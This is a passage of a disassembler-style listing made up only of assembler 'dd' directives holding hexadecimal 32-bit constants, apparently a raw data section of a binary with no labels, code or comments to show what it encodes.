		dd 0DA169058h, 0EA502E19h, 0E7531466h, 0C663C4C8h, 0C93C8ACh
		dd 141043E5h, 90592ABh,	242D2E74h, 0C44AEC22h, 856CAC45h
		dd 48946870h, 0CE9375BDh, 48501F80h, 82585A3Fh,	0FB454D0Eh
		dd 58A79FFh, 0D2E293Bh,	2BBC9D0Ah, 34CFD877h, 94149170h
		dd 434AD21Fh, 43AD7563h, 0EAB9F42Ch, 0FA282ECAh, 95A1AF1h
		dd 691BE738h, 0B48AA894h, 179E27E6h, 6CB5386Dh,	4986E32Ch
		dd 19E8D4DBh, 6DA46F54h, 0E13C2AB4h, 0E4584651h, 526AA0A4h
		dd 1CACC420h, 746E8A49h, 34357949h, 5587902h, 78CAE2F8h
		dd 0BA2F1FB9h, 0CDDFF264h, 3CD63A30h, 0B261CF7Eh, 48D764F1h
		dd 7E4502BAh, 0EA68D832h, 3A1F6DEAh, 0A9759109h, 1370E2CFh
		dd 95224292h, 0AAD6CD0h, 0D3E9DAFFh, 3C3DD218h,	91706AB2h
		dd 0FCB269BBh, 0DCCA76F8h, 78B6F62Bh, 0B2AF36A5h, 0BE203EB8h
		dd 7AF8C8D7h, 2595D7F9h, 0E3463591h, 3491DCA3h,	0D1DFCED7h
		dd 0C421EDC8h, 824C701Ah, 496EA59Eh, 3A504912h,	4F786E66h
		dd 7EE62644h, 5C127950h, 913C2E56h, 2D4FAB78h, 977A1FACh
		dd 3FB15ED4h, 5A7854D6h, 7A873C16h, 9BF4467Ah, 173DA0FCh
		dd 13534E44h, 0EA2FA56Dh, 0A9016ADh, 0A461D024h, 0A4341650h
		dd 0A1412C6Fh, 2DEEFCBFh, 2E6970C2h, 2C854650h,	50524161h
		dd 69F67C4Fh, 0E5AC7C87h, 69D46246h, 0CAD8D772h, 707C65D6h
		dd 11654847h, 1224432Bh, 25A48F2Eh, 0FABF1E20h,	728B9961h
		dd 430A2C1Ch, 926C756Fh, 5298271Ah, 3A4AD00Ch, 45546BB4h
		dd 4C782E52h, 2B789655h, 954649C8h, 94CBA6B1h, 5EAD82FAh
		dd 2C675A24h, 0E4AC66E5h, 50A328D1h, 7D4134Fh, 441B4C8Dh
		dd 6A92A48h, 0A5939923h, 69E45B52h, 2C096062h, 1C8FED78h
		dd 0CF895313h, 422CB021h, 9CEF2E25h, 5CCB4E94h,	1D6B2B6Dh
		dd 60BCF8A0h, 0AE4C2078h, 2E1FCA82h, 0AA1F7218h, 8F727068h
		dd 0FCA91E27h, 6275054Fh, 0F4661CD9h, 45C7046h,	42200BA9h
		dd 0C4DEE478h, 0B49378D1h
		dd 444E4904h, 53CB188Ah, 30C94444h, 290C9A52h, 97033427h
		dd 2C747092h, 6C460CE8h, 1FD2DA62h, 9E791032h, 30B4016Ah
		dd 0A744786Ch, 0A050231Eh, 0AB338DB0h, 7B33E8CCh, 8B33D484h
		dd 0A9504832h, 0EA461002h, 4E9E5C69h, 415C8B13h, 4D3FA50Fh
		dd 56B1AE98h, 2E95C2B3h, 2DCFB528h, 0F430ADB4h,	2C42676Bh
		dd 0E498CFA5h, 0B2F5E4ACh, 2895EB8h, 0D555029Dh, 0DAD60E73h
		dd 47F56BC8h, 481CA3D0h, 1A82547Dh, 0ADDE1974h,	685409A8h
		dd 77613CC2h, 0FDB3964h, 33427872h, 642E4C89h, 505623A5h
		dd 0E2A5ABDFh, 0FFDDA172h, 0AD283A25h, 0C943DE22h, 0F066B240h
		dd 0E12F4A27h, 290F8D1Dh, 0E699DF2Ch, 2175E242h, 0F83265F0h
		dd 62DB704Fh, 9D519E80h, 97482519h, 0D4497634h,	4231E128h
		dd 2199507Ah, 3F4A41ADh, 0D2D8F229h, 0A99AE290h, 63C75AD0h
		dd 58756D14h, 44A90854h, 0AB98F80Ah, 6FB21C59h,	20480876h
		dd 6DFF2ACDh, 2C1CB8EEh, 387897E2h, 6F439E49h, 7508D17h
		dd 75E4BE25h, 410AF6Dh,	780BAD2Ch, 0BC5CA593h, 407EDE1Ah
		dd 6C02625Bh, 58D4ABD0h, 8EB59361h, 0CBA19B4Dh,	2B2A1C03h
		dd 38857E44h, 0D8291EE8h, 4E6E610Bh, 37F99627h,	22F26E1Ch
		dd 6CB52E81h, 626D4FB4h, 3491E87Dh, 2E410C43h, 9F5C1F2Bh
		dd 3F19A56Dh, 95602C6Fh, 65A665D6h, 2B481C9h, 2230796Eh
		dd 1B34A4B5h, 2D9635DBh, 0A4F6F66Eh, 21787267h,	6D64CE14h
		dd 0D20D2673h, 4EC4B702h, 7CE21E12h, 0E5A95792h, 4A4D371Bh
		dd 3F3846CDh, 2D72B796h, 2788E63Ah, 0D4C96D70h,	9A10B25Fh
		dd 0AD670576h, 42289B4Dh, 1A318CAh, 34A10A73h, 0E21C4D6Eh
		dd 0E52CA156h, 59B83323h, 1AA47E57h, 9AB50C84h,	0A354FE1Ch
		dd 810820C4h, 2257011h,	8C117C16h, 21C48510h, 0F938A214h
		dd 1891663Fh, 0BC85E7FDh, 484AB414h, 5468452Fh,	85701C72h
		dd 547E7214h, 8C206E2Dh, 1C8FB5E0h, 0FA19E536h,	59F79766h
		dd 3FF50903h, 48641C74h, 81E8C29h, 672AC24Ch, 0AA108C2Bh
		dd 0AF7C143Ch, 0F210A364h, 741660B2h, 0D1F09EB5h, 47FD102Eh
		dd 697025C4h, 4BEC1BB4h, 155EC9D7h, 0B9FDA414h,	18362E9Ah
		dd 36368499h, 69188D2Eh, 6F78FD05h, 0A49C4268h,	22A12439h
		dd 0EC425220h, 0BBE494C3h, 51247865h, 0AC2063A4h, 95C1AE15h
		dd 0EC15BC89h, 93D9B425h, 0A991A6F7h, 77D34FC0h, 849C698Ch
		dd 38BE0DDEh, 7B695177h, 8F661D53h, 6321C419h, 0DBB6E85Fh
		dd 0CB095A11h, 160C4121h, 2A1563Ch, 9084778h, 0D34D079h
		dd 2A3429AFh, 3B93ED4h,	49580868h, 340FFC6Ah, 2210699Eh
		dd 49A5F10Ch, 22D25E08h, 3A4CB908h, 34CEE169h, 76419AF1h
		dd 0D2832E18h, 5BE56050h, 4B081011h, 9A930D9h, 9CAE2028h
		dd 0E618CD47h, 0A5A09874h, 0F911A0EFh, 10C8749Ch, 0A3ED1DADh
		dd 86434420h, 76341612h, 9CF94A6Fh, 0BF1AEA9Dh,	308D611Eh
		dd 35889525h, 0ADA2BD5Fh, 703FAC54h, 1CF9D74Bh,	28F22E96h
		dd 0F44D1497h, 17295773h, 7C7CD17Ah, 4B6F4EE1h,	4A32423Fh
		dd 0D91D9EC4h, 32709AA7h, 8604968Ah, 6805A710h,	7A50D920h
		dd 46F16012h, 30D1035Ah, 0D4053EE5h, 1F039A04h,	293C2374h
		dd 408D560Fh, 438F0DA8h, 0F9CB13ABh, 144C38A8h,	26105DE4h
		dd 2085DC14h, 7E045125h, 491DEAEFh, 7464B4A8h, 8D5E0591h
		dd 0A5F72038h, 0F6E24BFAh, 0E88C9F70h, 70481499h, 38481CC8h
		dd 71144B1Ah, 7E74A1C6h, 0E9373C85h, 45523FDAh,	0D22C4879h
		dd 94215C97h, 91D69048h, 0DA24C867h, 4A5343F9h,	0CB659A61h
		dd 0D2944C6Eh, 0E63FE211h, 0C1764B06h, 2F32333Fh, 6C77415Fh
		dd 101D4D3Dh, 95607AA2h, 4486541Ch, 9FDBEE9Dh, 0F58249B4h
		dd 0C62F2435h, 0B7A0D6A4h, 0E0224A8Ch, 869BD861h, 9C6A970Ch
		dd 0D63F4876h, 0D0085D1Ch, 59D74F0Ch, 0F29C56F9h, 37426433h
		dd 243EF486h, 0A8938642h, 85A8B65Ch, 0DF4AEB58h, 2085573Eh
		dd 845353E8h, 243C6E0Fh, 25925C2Ch, 68076D5Bh, 0F9F96761h
		dd 0F1A4E89Dh, 0C2CCA743h, 3AB4FEBEh, 0A14F6B3Bh, 633E9257h
		dd 0E274840Bh, 480809C7h, 0DB6F6808h, 0B3B410D6h, 0EAFB722Ch
		dd 165AF00Eh, 41CFB2C1h, 0F2ECF34Ch, 0C4C99330h, 8D2A63FDh
		dd 882FB264h, 22E2DC79h, 0EE949E08h, 61B4D1D2h,	0DABC2C77h
		dd 41161309h, 0D5281810h, 94B11DBh, 0D2111E36h,	0AF22CD09h
		dd 0DF10CC11h, 0E908F518h, 0D211DA94h, 0E6DF8390h, 46DEF149h
		dd 0DEA0F7C0h, 2FB708h,	0C3C42EDBh, 2683152h, 0E94F0819h
		dd 0ABA75078h, 18ECC5E1h, 0DB14E8E5h, 84A7D681h, 87668A6h
		dd 0B47F288Dh, 350CE80Ch, 9A1CE90Ch, 0C708FE0Ch, 4511CE79h
		dd 1CA5710Ch, 1AB5720Ch, 0BFD8D9FDh, 0E6CBC55Eh, 2921991Ch
		dd 56A44963h, 0DA84CF6Bh, 52D0F6D7h, 0D0D9770Bh, 34DC6FAFh
		dd 592313A6h, 7828708Dh, 59298B56h, 0DCDABD28h,	30AF2E37h
		dd 0B5F48321h, 2F4BB88Ah, 0E81AA4C2h, 35640831h, 56CB3232h
		dd 920685Ah, 7A4454C9h,	7376A575h, 109A00F9h, 2E4EC89Ah
		dd 0ACF0C8Bh, 5236A408h, 0BFD80C2Dh, 7C34D6F4h,	2A516BD6h
		dd 19CF780Fh, 972D9275h, 0E1080C06h, 34C6873h, 0CD5F3BDEh
		dd 0A4C46C34h, 4A92D2ACh, 53346338h, 654F1970h,	125E31B2h
		dd 4B98B620h, 5124F85h,	0ACA79B9h, 1D64251Dh, 731EFE84h
		dd 64B50A3Eh, 0E0D89F5h, 678A5D3Eh, 546A7D61h, 7C9AB9E0h
		dd 13D92AA4h, 54FA2E07h, 29436870h, 294D1663h, 4B2C287Fh
		dd 0A59660E3h, 10935658h, 0A4D40BD4h, 3B274389h, 0A8144445h
		dd 71F51BACh, 6270799Dh, 2FA8A4CCh, 8385189Bh, 0EC2972EDh
		dd 44EB3C6Ch, 2A74D29Dh, 0E434D017h, 6EB4158Fh,	6D417AA8h
		dd 0A67475CDh, 6710CD62h, 61342A79h, 303507ACh,	0A5C0FD70h
		dd 8416ADC4h, 1340BFE6h, 0A7279373h, 4297F914h,	6814DC52h
		dd 0EE622554h, 0C2280D04h, 48BC293Fh, 49D0B987h, 504D2543h
		dd 0D9F07692h, 766B61E8h, 0B959DA75h, 4C124918h, 45BB9B34h
		dd 858697A0h, 0B2B7A38Eh, 0D132C477h, 0FCE43C1Dh, 0E23F411Bh
		dd 6045D043h, 29243F67h, 0C457B8E0h, 0ED78396Ah, 3E6C9A55h
		dd 0B4C78774h, 747B647Fh, 69C048C1h, 14E93423h,	0B8659566h
		dd 0B696F24h, 272B51A4h, 2F791641h, 344D98CFh, 0AFA47752h
		dd 0E38D1634h, 85507A48h, 53A54444h, 909A784Ah,	55F2304Dh
		dd 55F600B2h, 7503B2D5h, 4034AC5Eh, 748AA8F9h, 4DFFCD80h
		dd 93FD3860h, 0E44E78F6h, 2A369D4h, 0E1F964E2h,	18BEDE28h
		dd 530D3D6Ch, 0B896040Ah, 62144452h, 51657927h,	8DCC25F8h
		dd 5CE8B9D6h, 0F4CCD97h, 83552970h, 0BD6FC4AFh,	38BAA432h
		dd 67C92817h, 4B10ABB8h, 857E65D9h, 0F99F5334h,	3AAD3ED8h
		dd 0EB90CFAFh, 0A1FF8DF1h, 309354B4h, 0AF0C53D2h, 64E5A113h
		dd 34A17531h, 0B99C3751h, 429DA4B4h, 6B9D05F6h,	52C48825h
		dd 4F64B9C8h, 2A48C42Dh, 0E88C4350h, 43411301h,	9C44BD54h
		dd 5D0A5B19h, 773A2AE5h, 49100ABEh, 21521E4Bh, 0B43BA458h
		dd 0B70B5355h, 2CBFCEDAh, 71AC7EE9h, 0CC8F3A20h, 8328E77Dh
		dd 0AC53949Ah, 0AC3580A1h, 39A4C0ADh, 46781E3Ch, 6F4A751Ch
		dd 0E7B434B7h, 44444010h, 86A40CA6h, 4C525516h,	0AF2E023Ch
		dd 6579A72Ch, 30E797FEh, 0D2F61427h, 49D99EB3h,	0B466D28Bh
		dd 0AF6D7F2Fh, 77BDAC3Ch, 690C51A7h, 857369E5h,	24733069h
		dd 0A0DD2FFDh, 3DE4690Ah, 0F4D00F30h, 2BD429BEh, 9B46BAC6h
		dd 0A75C4DF1h, 0B410F3EEh
		dd 1E307D25h, 271A456Ah, 44B5B51Ch, 8FD3D40Ah, 462C908Ch
		dd 71A7E9D0h, 0D14B8D35h, 0ECCEB5F4h, 0CEC4D23Ch, 95A774FBh
		dd 0D07CADADh, 24EDB524h, 8079BAF4h, 229AED72h,	87C01C57h
		dd 88D12530h, 0A5B0BCFEh, 0CC4BA553h, 466B8BC1h, 0C8D724C0h
		dd 909673CDh, 0A5FFFEE9h, 0FC65C929h, 6510922Fh, 4B16489Eh
		dd 2E571C16h, 0A9B2902Ch, 0A697BA32h, 4069B4EAh, 2C3E357Fh
		dd 929D6482h, 0AC11D81Ah, 52B2B784h, 7051DB5Eh,	56B0347Fh
		dd 68D8F549h, 8FF293C5h, 0D320F6D7h, 922EDB22h,	0E8045428h
		dd 5255DC30h, 0BE50924h, 0E8D9618h, 77E50B2Ah, 6392B0D9h
		dd 6C321BE6h, 34946518h, 93ECC59Dh, 0C90BE920h,	14062968h
		dd 28F3C901h, 292BD09Ch, 6DCB342Eh, 3A7D5A60h, 0E8EACD34h
		dd 0DCBE562Ch, 0C85A2D7Dh, 0CEB5E184h, 50C5B540h, 3DAE18B5h
		dd 58240E54h, 0EEA2B510h, 3538135Fh, 4D2860D0h,	4553444Fh
		dd 0C34DF32Ch, 0B3DC464h, 6152C224h, 8C239677h,	20659550h
		dd 51AF4B48h, 922AA283h, 2DCC8508h, 1CD28079h, 0D2434B3Ch
		dd 0D8732E9Ch, 41712068h, 0A64AEF2Ch, 0F8B24A7Ch, 0C25650A2h
		dd 4A531D68h, 0E4A8E2B8h, 653926BCh, 984920D7h,	1A9D47E8h
		dd 2C2C0568h, 1A68C58Ah, 55765428h, 0D6A9A8BEh,	8825D526h
		dd 3A23A224h, 2E51AC24h, 0A3D3584Fh, 81C4E28h, 6C746E52h
		dd 0A64AE8BCh, 17532AC9h, 21124DEFh, 33822A32h,	48AC7364h
		dd 7C45592Ch, 88778B88h, 312188F1h, 221BD1A7h, 5CC9D142h
		dd 736F4EF1h, 4AFF49A9h, 0BF48B98Eh, 0E876A9DFh, 0AC79A73Ch
		dd 44732B3Eh, 175D44C5h, 0B5C523D3h, 541A8A2h, 28906C0Bh
		dd 0AD64BCD3h, 0FFA1DB61h, 0D9575130h, 6D1C9562h, 0B24AFAF8h
		dd 47772A43h, 0A4602E52h, 703B87A7h, 134A8052h,	77B86276h
		dd 3881779Eh, 294ABC76h, 4150406Fh, 20E4BF6Dh, 7D1F54F1h
		dd 2F01049Fh, 46699EA4h, 17DAB2E8h, 0D241C8B0h,	29EBB71Ch
		dd 7699E744h, 5A7B6A48h, 24E868E5h, 8405E6CBh, 0A30A4E22h
		dd 89C4D164h, 209E5B73h, 8FEF97EEh, 69B8FBA5h, 6822EF47h
		dd 689408BDh, 0D7145027h, 34D03782h, 6998CF70h,	0A0286741h
		dd 54745667h, 0FCE0945Eh, 4C52C562h, 0A5F03DBBh, 0DA3A5931h
		dd 6FEBDFF6h, 0F86EC914h, 599DCA97h, 4C766B98h,	49295CD2h
		dd 2CE5F3DCh, 2E6E28EAh, 0D288EFB7h, 445A7C1Ch,	9564D4C8h
		dd 3E27ADE5h, 604D9DD0h, 0D67D8B25h, 49606C9Eh,	0E4C44448h
		dd 49682EEAh, 0F61F5F22h, 0E8B596E0h, 0D654C831h, 50482085h
		dd 0E904B9D6h, 4CC433DCh, 75E081AAh, 9F636870h,	8693E57h
		dd 0F2B4200Bh, 0C0728D47h, 5D76D3EFh, 9E5821D6h, 0A9F8A893h
		dd 0A30E347Ah, 9E642D5Eh, 692FE10Eh, 8C8B2F18h,	6F23C745h
		dd 0D2BC9476h, 3677203Ah, 0E929B466h, 0EA2F584Fh, 0FD7436C8h
		dd 0F4802D19h, 0E7507DEAh, 0F0A7CC4Eh, 3FD953CBh, 55E8CEB5h
		dd 15772EF2h, 6F4E8B18h, 15E8F2D4h, 0A34AD36Bh,	0D94B6428h
		dd 36120916h, 64AC9324h, 1BF049E9h, 882F4B2Ch, 4B0BEC4Ah
		dd 0D62DEF56h, 6DF5C02Ch, 7BF6251Ch, 8D52A48Fh,	0D7E4DB92h
		dd 65F4D8B9h, 743DEF34h, 254E300Eh, 4EF22FC7h, 68FD78B3h
		dd 718D4A3Eh, 0E93CB7C2h, 0AC8DDAECh, 0BBD479C9h, 79B3AAFCh
		dd 8CF4EB03h, 58B97E16h, 7BCA61A2h, 0D69CABF5h,	57E1E9ADh
		dd 5906AD21h, 6428A15Dh, 72F28259h, 7C4DBA5Fh, 9B5F5A49h
		dd 7C594665h, 0E6392A89h, 625D5C70h, 5A3A792Bh,	48E458A1h
		dd 0A7419EF4h, 0FB9C7E80h, 935E8048h, 125CCB38h, 0DE32B69h
		dd 577EB853h, 0E9DCE92Ch, 0FB422CB5h, 4F48EB47h, 0B4889659h
		dd 8AF7CF80h, 0FD20DA20h, 4EBF841Eh, 0A7D8B4E4h, 47CDED94h
		dd 8024C66Bh, 0D9324F33h, 88093B8Fh, 5EE86474h,	0A5FEC94Dh
		dd 9F7E6602h, 0D56CF505h, 2EA8E82Dh, 5C3B9153h,	8AB15B38h
		dd 6BC0CB3Bh, 7C600B2Ah, 6710210Eh, 1A78654Eh, 58C38921h
		dd 0B1F77DDh, 77DF442h,	0A6FD6B37h, 1F6A53E5h, 784585DAh
		dd 0E9141641h, 24B87D7Fh, 94B239Eh, 7319C918h, 114B1854h
		dd 0FD577854h, 542A984Dh, 5151328Ch, 75511C8Ah,	0F2791EB5h
		dd 58DE6608h, 0CA906E9Ah, 9ACA55BFh, 0D3D3183Eh, 5C7B55E5h
		dd 0F95212E3h, 81F69717h, 8D5FAB47h, 4AFE0AF4h,	0B1A6ED56h
		dd 80DB4127h, 6C9DD4A5h, 7352491Eh, 4418400Ah, 7BA748D0h
		dd 25117957h, 0FE36094Fh, 0E83252ECh, 2B440F39h, 226FF0A6h
		dd 2516D4DAh, 74DAFC83h, 0A1734191h, 41133416h,	956394A0h
		dd 0EA53EA61h, 0D100CC57h, 18DA0F29h, 24542F19h, 1CA9415Ch
		dd 1CE74446h, 75A9FAD5h, 0AC124EA5h, 0F40AF7B6h, 894D9BC8h
		dd 10256A54h, 1236CF64h, 56EFA921h, 0F3757B20h,	0A6212156h
		dd 22128543h, 68A39614h, 8634A215h, 0F887D0CBh,	87645C6h
		dd 4153C2A4h, 0BA555E4h, 5D204111h, 6B412069h, 66699896h
		dd 0A6A6BC05h, 56679527h, 64A1029Bh, 85112E6Ah,	241D4727h
		dd 53E05C73h, 0EB614D43h, 0A6729524h, 86C4AE54h, 733DF9A0h
		dd 0EED21142h, 12160229h, 8EBD8C20h, 8688AC0Fh,	0A8485D0Fh
		dd 452BC97Fh, 1321D2F4h, 38A87396h, 568BF0D4h, 987D716Ah
		dd 9279748Bh, 109EF3F3h, 646F5F70h, 9B90C998h, 6D56614Eh
		dd 64671284h, 61587539h, 0A541EE44h, 42490D0Ch,	44297E8Ch
		dd 0E63C1409h, 690E7030h, 55D36C62h, 7E9A1867h,	4D5C593Eh
		dd 406ADB28h, 5E72AB48h, 22FE8D54h, 8BCF7E9Ch, 0FB6ACB4Fh
		dd 33D827BCh, 4AF56CE6h, 194641E0h, 48240A0Ch, 5F32145Bh
		dd 5357A099h, 0A82B9141h, 9F0C847Ch, 724A13E2h,	781A0C29h
		dd 20386013h, 4625E65Fh, 0FF7376FEh, 0F91D4456h, 6CA958BDh
		dd 4BAFA60Ch, 2332B60Bh, 45F3100Ah, 73540A6Eh, 6910B251h
		dd 6B0D2D88h, 43E9DDD6h, 0DF5FEBEAh, 8861CD8Fh,	953E0C09h
		dd 996CF866h, 84D7342h,	0F6476106h, 4A08A673h, 903CF36Ch
		dd 0DE266908h, 0FE5449F0h, 2E2F0821h, 0FCFD172Dh, 0C0912490h
		dd 0DACAE896h, 8353E610h, 8E27FD18h, 67110C3Ah,	9A49AC92h
		dd 0A35F7B19h, 79620A0Ch, 1052B80Eh, 21DAA891h,	9ADD7642h
		dd 68AD5509h, 77E01CA6h, 94CFF8D0h, 7549C961h, 0FC6A1C32h
		dd 26B7E555h, 1C1F52C9h, 489FFAA6h, 0D488B834h,	34ABB952h
		dd 5508DE8h, 0E8C8914h,	43444614h, 0D0144341h, 10412B40h
		dd 6C955567h, 0D2B3869h, 0E2B6B94h, 0F4565E28h,	283D1B94h
		dd 19CAE014h, 7AB74D3Dh, 2F808F3Ch, 20302E34h, 0B3632826h
		dd 57C22959h, 68C578B2h, 4C19491Ah, 8A4E84D8h, 0D0481610h
		dd 45CFD021h, 30571012h, 0A836CF6Bh, 749129BFh,	3804AC90h
		dd 0CC490CD7h, 0A04C0C47h, 869B2891h, 4A55B4FCh, 5D626F34h
		dd 989C1427h, 93754F42h, 567E46B9h, 66B728A6h, 4F541410h
		dd 26D31044h, 0C8E63B0h, 0D10CBFD1h, 550C435Fh,	32946EA3h
		dd 0B991C52h, 0C0095C09h, 0BF575C0Ch, 2932EA6Ah, 9A6916DFh
		dd 4618CB80h, 52972D7Eh, 0B072C08Ch, 85AE8BCFh,	0EC6B183Bh
		dd 5F79A802h, 58B0A446h, 5DE7EF90h, 3F006346h, 94D36949h
		dd 22D89BFDh, 9368A13h,	224DFE24h, 2B57682Fh, 0A24392D9h
		dd 0D4328FF2h, 8657AC14h, 154A434Eh, 1D7A2B6Ch,	5E571018h
		dd 0A3721C25h, 450C8553h, 0C8D2DCA8h, 435A488Ch, 6F4ED621h
		dd 8E665C95h, 62641377h, 12448A63h, 0ECF34C51h,	0BC584F43h
		dd 577228DAh, 417F76FEh, 10A472ECh, 2E444E81h, 219A899Dh
		dd 54627841h, 21D590EEh
		dd 0A49F5CCBh, 2BF85457h, 0C7DCC5E4h, 0CE70442Ch, 3B1A6940h
		dd 1BCB47Fh, 0A7B4DDD2h, 0A4473B31h, 0DF41C1A7h, 4F702B33h
		dd 7EF8394Bh, 0A2A8F874h, 944399Ah, 41C41A85h, 1B163DEBh
		dd 0D3473D34h, 5057A219h, 0C5198584h, 473CCE57h, 3034934Bh
		dd 7C484B2Bh, 44AC8091h, 1A688899h, 5C3349D1h, 4DE134D1h
		dd 0D5E74E70h, 0F9E790F0h, 0EC254FC1h, 94D41C4Eh, 6B3579F4h
		dd 0E34C1868h, 0B64D132Eh, 0AD06DB06h, 4A802AEEh, 7A5C55E3h
		dd 0EB79255Eh, 572A7E29h, 0B9D0AD31h, 0B48F852Ah, 5EE179A6h
		dd 0F9A9F750h, 735A4BCCh, 14F54AB7h, 5CB4D031h,	0CD5F2FA9h
		dd 0F770B87Fh, 62079095h, 6874C579h, 9D75BE69h,	0A4C469AFh
		dd 6C9CA8D9h, 0AB610129h, 283940AFh, 66105668h,	17350901h
		dd 1B5728B0h, 29BB9113h, 0B075C00Ch, 706D28A0h,	89031CE1h
		dd 751452C2h, 742713E5h, 0B16843E4h, 736F2814h,	3105A360h
		dd 4129DD09h, 0E372862h, 4D7A6172h, 58F2206Bh, 976DF6BEh
		dd 0D490C4E6h, 5773E9F1h, 20B49A08h, 0FC11D488h, 0D5F3B845h
		dd 62DF145Dh, 0DA8208AAh, 2111E40Dh, 35B3F4Bh, 8294BD10h
		dd 63DA181Fh, 8A080D33h, 553E4C16h, 0CCE34C6Bh,	670A8C67h
		dd 741043F5h, 0B52A636Eh, 6EBA661Ch, 0E8F897ACh, 680C48E7h
		dd 823E297h, 9E209044h,	74086C54h, 0D13D5CB9h, 8DBCF370h
		dd 73108A03h, 25BA2464h, 45851361h, 808A510h, 7218E16Fh
		dd 469022D4h, 2C6F2A0Ch, 4FDA0FBDh, 8A14B475h, 79149A73h
		dd 0D81F4B08h, 4D08D13Ch, 6272E023h, 861692Ah, 8F6B1CA2h
		dd 68F81149h, 924F54C6h, 0AE545CBBh, 6A186C80h,	15306152h
		dd 3C1C796Bh, 0AF692774h, 677506B9h, 784DF9EAh,	697B29F3h
		dd 16789A0Ch, 11648506h, 2913774Dh, 4E3B3468h, 621981A8h
		dd 0BE6B1161h, 9396F36h, 4F02D66Ch, 6DEA7A0Eh, 0D7424484h
		dd 2F58995Dh, 6B0C48E1h, 10144AA3h, 8C107964h, 51765A67h
		dd 9D07086Fh, 0FD1164A6h, 8572A742h, 0AE496B18h, 2037DC77h
		dd 8AB820Ch, 38B508A6h,	0CE04A7A1h, 77650C21h, 7A740851h
		dd 0F9101054h, 516B946Ch, 0BEE12A83h, 0DE140C0Dh, 636E0844h
		dd 14341FD4h, 7C505851h, 0A965623Fh, 741C0869h,	0E12F346Bh
		dd 0BBD26F6Ch, 830410Ch, 0FD9D4CA0h, 79F5144Dh,	71550849h
		dd 2AC7CA14h, 0B8A0C77h, 0DAE7181Bh, 39422D08h,	648D35C3h
		dd 3E72A194h, 8B40D110h, 0E96A2874h, 12E4D339h,	24FE6D75h
		dd 79184F90h, 825F05Ah,	7C285F6Fh, 65A6B2CEh, 10346C11h
		dd 12AF9464h, 10DF2662h, 69386452h, 0F9135010h,	6EAC11B3h
		dd 1155618Bh, 98125E6h,	4318A62Ch, 2ACE7314h, 55ED0C66h
		dd 6ECA4574h, 5280E12Dh, 24927466h, 255AF24Ah, 0D4820C84h
		dd 18213654h, 8A238A4h,	45636F38h, 2520F7F6h, 79442D74h
		dd 215C49F5h, 0A62749E7h, 2D0D7111h, 37263C4Ah,	86041041h
		dd 46C49010h, 0C2FF6D0Ch, 75250C09h, 5052C41Dh,	0A473437Ah
		dd 7D955415h, 0AA7910D9h, 2EC97079h, 0D0702E67h, 0C07BE8DBh
		dd 8D0A08A2h, 720D6F10h, 6DA30209h, 3C10548Dh, 0C2369E75h
		dd 0C2624B4Ah, 0C986ECAh, 0DFED6577h, 8D673384h, 4A880826h
		dd 2452C46Dh, 0ECAB100Ch, 0B0C75093h, 194210DAh, 0E6254092h
		dd 0BA105368h, 0C4327213h, 6B0C926Eh, 182385C4h, 4FC6DD78h
		dd 74792A11h, 9BA08228h, 0A2114566h, 0AE120816h, 0BD19DF79h
		dd 3A9E8C48h, 687D10D3h, 89087668h, 1C786669h, 2F1449E1h
		dd 92287555h, 81838A1h,	668AD262h, 7AD0181Ch, 61E19214h
		dd 3D202AA1h, 3C6C61A9h, 10DA345Ch, 5069C305h, 14489318h
		dd 247A10DBh, 1CC310A2h, 34086442h, 8122872h, 0C82BC95Fh
		dd 0E8772E3Eh, 0AE78106Ch, 2479589Ch, 60D36939h, 7365297Ch
		dd 50262A08h, 0A66D0864h, 0D38C8C18h, 0B98B51FFh, 0D1640C44h
		dd 6888081Ch, 740C6599h, 2A8F1047h, 50B62C64h, 0D00884ACh
		dd 0F36E0813h, 69B00814h, 28F76764h, 8A0CD0A9h,	0BE2C0873h
		dd 66F12CA0h, 60C24AD4h, 0CA089361h, 797A186Bh,	5E60E397h
		dd 1428F110h, 0E5DF165Ch, 6C119CAFh, 156FC464h,	0BF116F3Fh
		dd 64DA6551h, 0A2F3082Ah, 1A6A8A08h, 74E749D4h,	8EE23275h
		dd 834F6FFh, 6C72FB05h,	76272C1Eh, 614362B0h, 10292893h
		dd 10B2C86Ch, 989FD6Dh,	194D9433h, 0CA89FB8h, 80266E4Ah
		dd 0E5704E10h, 3008064Eh, 19B4E893h, 0BCB9C15Ch, 400C5269h
		dd 75686CADh, 0F9BE0C0Ch, 24E92FDEh, 73519620h,	0DBE9DA38h
		dd 3B6AC67Ah, 9D790C26h, 0DA5AA0FFh, 10A273FEh,	5F855C4Bh
		dd 59C6FF08h, 508412Eh,	0BF0B5E88h, 0B2681455h,	81140845h
		dd 6DD6085Fh, 189968FDh, 116D5673h, 44F1D48Eh, 0C42452ADh
		dd 7CE0A60Eh, 0F42005B9h, 0B17C6846h, 6D76BC41h, 289ABE6Eh
		dd 0C5189B50h, 1E6C938Dh, 4DB67024h, 5A850511h,	99C910B4h
		dd 887C267h, 65791472h,	0EBC2EB84h, 360CAF6Bh, 1B1AFF5Ah
		dd 9C1868E8h, 7BE44D08h, 0C6787D4h, 0D2B408AAh,	2A8A9250h
		dd 60840C7Ah, 0EE272BFFh, 0C646F45h, 0C1CA599h,	0D4A0856Fh
		dd 32A3188Eh, 7519FF65h, 5A4041Ah, 1C276F86h, 0DD8972C5h
		dd 46E5FE3h, 8D6C67E8h,	3DA0D90h, 89F76608h, 7FE7D93Bh
		dd 790FA072h, 597608A2h, 39901022h, 0C977188Ah,	11B57460h
		dd 10DB265Ah, 0C72C9B9Dh, 0FD4B43CBh, 0CABCB457h, 0A478E443h
		dd 86E51DBh, 0CCCAA5B5h, 8AA6466h, 116DFEE3h, 80E81FEh
		dd 0D221B345h, 0E6A94C09h, 6411322Ah, 616FA557h, 9A241426h
		dd 0AC10D9ADh, 0D5105779h, 11F3D66Eh, 31F16DEAh, 3892EAE2h
		dd 116D207Ch, 78EDCE21h, 0E75810ADh, 0C49B667Ch, 1CBB68BEh
		dd 6868C32Ah, 781F082Eh, 0A1216EDCh, 69758D80h,	6143509h
		dd 89947E24h, 0FB11124Fh, 64798590h, 944228CDh,	43A54253h
		dd 0C444831Bh, 339929D7h, 27194B84h, 412780BCh,	7251626Dh
		dd 0A197041Ch, 11080457h, 7027208Bh, 274FA066h,	0F1E6D8C4h
		dd 1F732865h, 27962404h, 19CD34C6h, 5FFB8E6Bh, 49E08411h
		dd 42647710h, 477265F0h, 8F6F12EFh, 2D4C8F14h, 30141C50h
		dd 7B2716F0h, 635845h, 2C5218D9h, 9ACC49D7h, 76820B48h
		dd 661135E4h, 0EAFB1010h, 910871CAh, 2F0EA70Ch,	6828722Ah
